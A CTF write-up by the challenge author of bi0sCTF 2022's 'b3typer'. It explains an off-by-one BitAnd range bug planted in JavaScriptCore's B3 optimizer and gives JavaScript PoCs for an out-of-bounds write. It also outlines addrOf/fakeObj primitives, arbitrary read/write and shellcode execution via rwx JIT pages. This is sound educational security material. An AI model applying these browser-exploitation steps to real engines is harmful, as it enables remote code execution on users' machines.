tl;dr
- Simple typer bug, range of BitAnd opcode is assumed to be [1, operand] when in reality it is [0, operand].
- Use range assumptions to create unchecked integer underflow.
- Bypass array bounds checks and obtain OOB write, overwrite size of array to get overlap.
- Use double & object array overlap to create addrOf & fakeObj primitives.
- Create overlapping fake array using StructureID leak to obtain arbitrary R/W.
Challenge Points: 1000
No of Solves: 1
Challenge Author: d4rk_kn1gh7
Challenge Description & Handout
Typer bugs are easy to exploit, right?.
The challenge handout contained both the Debug
and Release
builds of JSC, the patches for both the debug and release builds (the release build had a lot of JSC shell functions removed), as well as a README
containing build instructions, and a few tips to help you get started with building the environment.
Prerequisites
If you are completely new to JSC, or browser exploitation in general, I’d recommend getting started by reading other resources. A good place to get started would be this phrack paper by 5aelo and this YouTube playlist by LiveOverflow. I would also recommend trying out the JSC challenge I made for last year’s InCTF Internationals(shameless self-plug), which is pretty easily to solve as a beginner.
Building JSC
I would highly recommend building JSC locally on your own machine, in order to be able to add debug prints (dataLog
is a pretty helpful function for this), and for better source code navigation. Instructions for building the debug version of JSC specific to the challenge were given in the README
of the challenge handout:
1 2 3 4 5 6 7 8 9 |
git clone https://github.com/WebKit/WebKit.git cd WebKit git checkout 645b9044d2369e3b083b171da517a2440bb4fa18 git apply debug.patch Tools/gtk/install-dependencies Tools/Scripts/build-webkit --jsc-only --debug cd WebKitBuild/Debug/bin ./jsc --useConcurrentJIT=false |
In case you cannot build JSC locally, you can work on the challenge using the jsc
binaries included in the handout, and by following the instructions in the README
.
Patch Analysis
The patch is pretty simple, the gist of which is as follows:
1 2 3 4 5 6 7 8 9 10 |
template<typename T> static IntRange rangeForMask(T mask) { if (!(mask + 1)) return top<T>(); if (mask < 0) return IntRange(INT_MIN & mask, mask & INT_MAX); - return IntRange(0, mask); + return IntRange(1, mask); } |
This is a small segment of code in B3ReduceStrength.cpp
, which is the B3 optimization phase that handles Strength Reduction.
So what does this code do? Searching for xrefs to this function gives us a better idea:
1 2 3 4 5 6 7 8 9 |
IntRange rangeFor(Value* value, unsigned timeToLive = 5) { // ..... case BitAnd: if (value->child(1)->hasInt()) return IntRange::rangeForMask(value->child(1)->asInt(), value->type()); break; // ...... } |
Ok, so now this seems pretty clear. The function generates a range for a BitAnd
operation, where the second operand is an integer. It returns a range of [1, mask]
as opposed to [0, mask]
.
So for example, if we were to take the Bitwise And operation x & 0xff
, the rangeForMask function would return a range of [1, 0xff]
, instead of returning a range of [0, 0xff]
. Thus, we can assume that the JIT compiler would assume that the result of the operation lies in the former range, instead of the latter (how this is useful will be explained later).
Now, it is pretty clear that this is an off-by-one bug, so how do we trigger it, and exploit it?
Again, searching for xrefs to the rangeFor
function within the same file, we see that rangeFor is called to generate ranges for both the left and right operands of the CheckAdd
and CheckSub
opcodes, within the main reduceValueStrength
function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
void reduceValueStrength() { // ... case CheckAdd: { // ... IntRange leftRange = rangeFor(m_value->child(0)); IntRange rightRange = rangeFor(m_value->child(1)); if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) { replaceWithNewValue( m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_value->child(1))); break; } break; } // ... } |
Since the handling of CheckAdd
and CheckSub
opcodes are pretty similar in this scenario, I’ll go over the CheckAdd
opcode.
This generates a rangeFor
for the left and right operands, and checks if they could overflow, using the couldOverflowAdd
function.
1 2 3 4 5 6 7 8 |
template<typename T> bool couldOverflowAdd(const IntRange& other) { return sumOverflows<T>(m_min, other.m_min) || sumOverflows<T>(m_min, other.m_max) || sumOverflows<T>(m_max, other.m_min) || sumOverflows<T>(m_max, other.m_max); } |
Digging about 5 functions deep, we can eventually find out that if any combination of values in the left and right ranges could possibly overflow, the function couldOverflowAdd
returns True.
Going back to the reduceValueStrength
function for the CheckAdd
opcode, we can see that if couldOverflowAdd
returns False, the CheckAdd
node is replaced with a normal Add
opcode, with the same 2 operands.
So now the question is, how does CheckAdd
differ from Add
? To answer that question, we can take a look at the lower
function in B3LowerToAir.cpp
1 2 3 4 5 |
void lower() { // ... case CheckAdd: opcode = opcodeForType(BranchAdd32, BranchAdd64, m_value->type()); // ... |
When B3 IR is lowered to AIR (which is the most optimized IR), it seems to actually replace the CheckAdd
opcode with an Add64
opcode in AIR, turning the 32-bit addition into a 64-bit addition, to safely avoid the potential overflow.
Ok, so now this makes sense. Using our off-by-one primitive, we can likely make the couldOverflowAdd
function return False, thus converting a safe CheckAdd
opcode into an unsafe Add
opcode!
The next question is, how can this be exploited?
Exploitation
Triggering an OOB write
So based on the information we’ve gathered so far, these are the rough steps to trigger the bug:
- Generate a BitAnd opcode, with one of the operands being a constant.
- Generate a CheckAdd opcode, with one of the operands being the previously generated BitAnd.
- Cause the CheckAdd to overflow/underflow by 1 based on the incorrect range.
The tricky part of this exploit is that we have to create the underflow/overflow within the Strength Reduction phase, as the rangeFor
function doesn’t propagate any information outside of this phase.
Let’s generate a small PoC to start off with:
1 2 3 4 5 6 |
function hax(a) { let b = a | 0; let c = b & 2; let d = c + -1; return d; } |
Okay, so what does this do?
- First off, we force
b
to be a 32-bit integer, by using a bitwise OR operation. This is necessary to tell the compiler that we are dealing with 32-bit integers, and not floating-point values. This technique is described well by 5aelo in his amazing blog post. - Next, we generate the vulnerable
BitAnd
opcode, using a bitwise AND operation with a constant. - Finally, we generate a
CheckAdd
opcode, this will cause the B3 Strength Reduction phase to call therangeFor
function, which will generate an incorrect range.
Here, the range for the left operand will be [1, 2]
, when in reality the range of the BitAnd
operation should be [0, 2]
.
Ok, now what? How can we cause an overflow by 1?
Why not generate another CheckAdd
opcode with the result of the previous opcode? Now this will call rangeFor
again, and generate a range of [0, 1]
for the left operand, when in reality the range is [-1, 1]
.
Now our left operand contains a potential negative value that is unaccounted for, and all we have to do is create an operation that underflows it.
Using the right operand as -0x80000000
(32-bit INT_MIN), the ranges generated for the left and right operands are [0, 1]
and [-0x80000000]
respectively.
1 2 3 4 |
let b = a | 0; let c = b & 2; let d = c + -1; let e = d + -0x80000000; |
Here, couldOverflowAdd
returns False, as the addition of all combinations of values in these ranges will not overflow.
This is where the bug is exploitable – the range for the left operand is actually [-1, 1]
, and -1 + -0x80000000
can cause an underflow!
We can confirm this assumption by using the following code snippet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
function hax(a) { let b = a | 0; let c = b & 2; let d = c + -1; let e = d + -0x80000000; return e; } function main() { for(let i = 0; i < 100000; ++i) { hax(2); } } noInline(hax); noDFG(main); noFTL(main); main(); |
Small note: JIT compiling this with an argument of 2
works better, as it never triggers the vulnerable case (when the result of b & 2 == 0
)
Taking a look at the B3 IR generated to confirm our assumptions (you can do this by using the flag --dumpB3GraphAtEachPhase=true
):
1 2 3 4 5 6 7 8 9 |
B3 after reduceDoubleToFloat, before reduceStrength: ... b3 Int32 b@35 = CheckAdd(b@33:WarmAny, $-1(b@34):WarmAny, b@33:ColdAny, generator = 0x7f551e032750, earlyClobbered = [], lateClobbered = [], usedRegisters = [], ExitsSideways|Reads:Top, D@41) b3 Int32 b@37 = CheckAdd(b@35:WarmAny, $-2147483648(b@36):WarmAny, b@35:ColdAny, generator = 0x7f551e0327a0, earlyClobbered = [], lateClobbered = [], usedRegisters = [], ExitsSideways|Reads:Top, D@45) ... B3 after reduceStrength, before eliminateCommonSubexpressions: ... b3 Int32 b@23 = Add(b@33, $2147483647(b@37), D@45) ... |
We can see that the two CheckAdd
nodes have been eliminated for a single unchecked Add
node. In fact, instead of subtracting 1
and 0x80000000
from the value, it just adds 0x7fffffff
to the value, assuming it will wrap around to a negative integer. This assumption is wrong, as if the left operand is 0
, the result will be 0x7fffffff
, a positive value.
Ok, so how can we turn this into an OOB read?
Taking inspiration from 5aelo’s blog post again, we create 2 checks so that DFGIntegerRangeOptimization
will remove array bounds checks:
idx < arr.length
idx >= 0
After the first check, if we only do “safe” subtractions, it should theoretically still be safe to read the array at idx
, as idx
should still be less than arr.length
.
And now we can obtain an OOB read, simply by triggering the bug (unsafe removal of CheckAdd
) after the first check.
Here’s a small code snippet, that should crash the binary by writing out of bounds:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
function hax(arr, a) { // Force 32-bit integer let b = a | 0; // Setup bug trigger // compiler assumes range is [1, 2], actually [0, 2] let c = b & 2; // Trigger rangeFor // assumed range [0, 1], actual [-1, 1] let idx = c - 1; // Check will always pass if (idx < arr.length) { // Trigger integer underflow, idx will become INT_MAX // Compiler assumes this case only triggers for value 0, no underflow check if (idx < 1) { idx += -0x80000000; } // idx assumed to be < arr.length, only subtraction occurs if (idx > 0) { arr[idx] = 0x1337; } } } |
Now, calling hax(arr, 0)
will cause a crash!
Finishing up the exploit
Now that we have an OOB write, we need to find a way to control the OOB index. For this, we can simply do another large “safe” subtraction after the first check (idx < arr.length
). The only caveat here is that we cannot subtract 0x80000000
and another large negative number from the same value, else that will trigger a potential overflow check, and the CheckAdd
will not be removed for the second overflow.
A simple trick here is to just use different checks, such that the value -1
will pass both of them, and no other value will. Here are the two checks that I used:
1 2 3 4 5 6 7 8 |
// idx is -1 here, passes the check if (idx < 1) { idx += -0x80000000; } // idx is 0x7fffffff here, passes the check if (idx > 2) { idx += -0x7fffffff; } |
Now by changing the value -0x7fffffff
to -0x7fffffff+required_idx
, we can control idx!
At this point, we can easily generate addrOf
and fakeObj
primitives. We can use the OOB write to overwrite the size of a float array (say dblarr
) with a large value, and cause it to overlap with an object array (say objarr
).
Now, we can leak the address of any object, simply by storing an object in objarr
, and reading out-of-bounds on dblarr
. This primitive is called addrOf
.
Similarly, we can create an object at any address by writing OOB on dblarr
, and retrieving the object from objarr
. This primitive is called fakeObj
.
Normally, these two primitives wouldn’t be enough to obtain arbitrary read/write, and this is because of a mitigation called StructureID randomization
.
For this, you need to know what a JSObject looks like in JSC. It has roughly the following layout:
1 2 3 4 5 6 |
JSCell Header Butterfly pointer Inline property 1 Inline property 2 ... ... |
Each of these terms will be concisely defined later in the writeup.
To fake an object, you need a valid JSCell header, and a butterfly. Cell headers consists of two parts:
- Upper 32 bits: Flags
- Lower 32 bits: StructureID
The flags for a particular type of object are constant across runs, but the StructureIDs are randomized at runtime. Thus to generate a valid object, you need a StructureID
leak.
For the purpose of making this challenge less of a hassle, a StructureID
leak is provided in the given patch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
@@ -285,4 +287,16 @@ JSC_DEFINE_HOST_FUNCTION(reflectObjectSetPrototypeOf, (JSGlobalObject* globalObj return JSValue::encode(jsBoolean(didSetPrototype)); } +JSC_DEFINE_HOST_FUNCTION(reflectObjectStrid, (JSGlobalObject* globalObject, CallFrame* callFrame)) +{ + VM& vm = globalObject->vm(); + auto scope = DECLARE_THROW_SCOPE(vm); + + JSValue target = callFrame->argument(0); + if (!target.isObject()) + return JSValue::encode(throwTypeError(globalObject, scope, "Reflect.strid requires the first argument be an object"_s)); + JSObject* targetObject = asObject(target); + RELEASE_AND_RETURN(scope, JSValue::encode(jsNumber(targetObject->structureID().bits()))); +} + |
Here, you can use Reflect.strid(obj)
to obtain a StructureID
leak for that particular object.
What is the butterfly? The butterfly is a buffer that contains array elements at positive indices and out-of-line properties at negative indices.
Ok, so the butterfly is similar to an ArrayBuffer backing store pointer, in a sense. That means we just need to be able to corrupt the butterfly of an object to an arbitrary value, to then achieve arbitrary read/write (well, more or less, good enough for this challenge).
So now, our method of exploitation is similar to a basic CTF heap note challenge 🙂
First, we create an object (preferably a float array) – which we will later target by corrupting its butterfly (lets refer to this object as target
).
Then we create an object with two inline properties (inline properties are properties that are stored within the JSObject), and lets call this object container
. These inline properties are:
- Fake JSCell header
- Fake butterfly
We create the fake butterfly such that it points to target
‘s butterfly.
Now we have something like this:
1
|
fake butterfly -> target butterfly -> ?
|
After this, we can use the fakeObj
primitive to create a fake object at the address of container
‘s first inline property, let’s call this new object fake
. Now writing to fake
‘s butterfly will overwrite target
‘s butterfly!
Now we have (almost) arbitrary read-write:
- Read: Store address to read from in fake[0], return target[0] to get value at address.
- Write: Store address to write to in fake[0], store value to write in target[0].
Using all the primitives we have constructed so far, the rest of the exploit is pretty easy. We can use either a JIT compiled function or a wasm function, which will both create rwx
pages, write our own shellcode to the generated rwx
page, then call the aforementioned function, to get code execution!
Exploit Script
Stable OOB read:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
function hax(arr, a) { // Force 32-bit integer let b = a | 0; // Setup bug trigger // compiler assumes range is [1, 2], actually [0, 2] let c = b & 2; // Trigger rangeFor // assumed range [0, 1], actual [-1, 1] let idx = c - 1; // Check will always pass if (idx < arr.length) { // Trigger integer underflow, idx will become INT_MAX // Compiler assumes this case only triggers for value 0, no underflow check if (idx < 1) { idx += -0x80000000; } // Use this to set oob write index if (idx > 2) { idx += -0x7ffffffa; } // idx assumed to be < arr.length, only subtraction occurs so upper bound is unchecked // Overwrite length of array to 0x1337 if (idx > 0) { arr[idx] = 0x1337; } } } noInline(hax); var arr = new Array(5); var dblarr = new Array(5); var objarr = new Array(5); arr.fill(1); dblarr.fill(13.37); objarr.fill({}); function trigger() { for (var i = 0; i < 100000; ++i) { hax(arr, 2); } hax(arr, 1); } |
The full exploit script can be found here.
Flag
bi0s{typ3r_expl01ts_b3_ez_d33e42198c98}
Final Notes
StarLabs published an excellent writeup about a Pwn2Own exploit for which the bug is in a similar place, and I recommend checking out their blog post as well. I also got this challenge idea by auditing the patch for the same bug, CVE-2022-32792.
Thanks to sherl0ck for testing the challenge and proofreading the writeup, and shout-out to dagger for being the only person to solve the challenge during the CTF.
Want to try out the challenge? Our CTF site is still up at the time of writing, but you can always download the handout here.
I hope you guys enjoyed the challenge, I learnt a lot while trying to exploit it! Feel free to reach out to me on twitter for any questions/queries regarding this writeup.
原文始发于d4rk_kn1gh7:b3typer – bi0sCTF 2022